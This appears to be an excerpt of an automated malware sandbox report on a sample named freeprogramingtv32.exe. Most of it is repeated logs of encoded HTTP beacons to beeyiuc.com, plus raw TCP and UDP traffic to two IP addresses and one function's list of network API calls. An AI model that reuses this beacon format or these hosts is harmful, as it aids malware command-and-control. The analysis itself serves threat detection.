Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	TCP traffic detected without corresponding DNS query: 195.154.173.35
Source: unknown	UDP traffic detected without corresponding DNS query: 152.89.198.214

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02B972A7 Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,InternetOpenA,InternetSetOptionA,InternetSetOptionA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_strtok,_swscanf,_strtok,_free,Sleep,RtlEnterCriticalSection,RtlLeaveCriticalSection,_sprintf,RtlEnterCriticalSection,RtlLeaveCriticalSection,_malloc,_free,

2_2_02B972A7

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf915c0ee969c3a HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
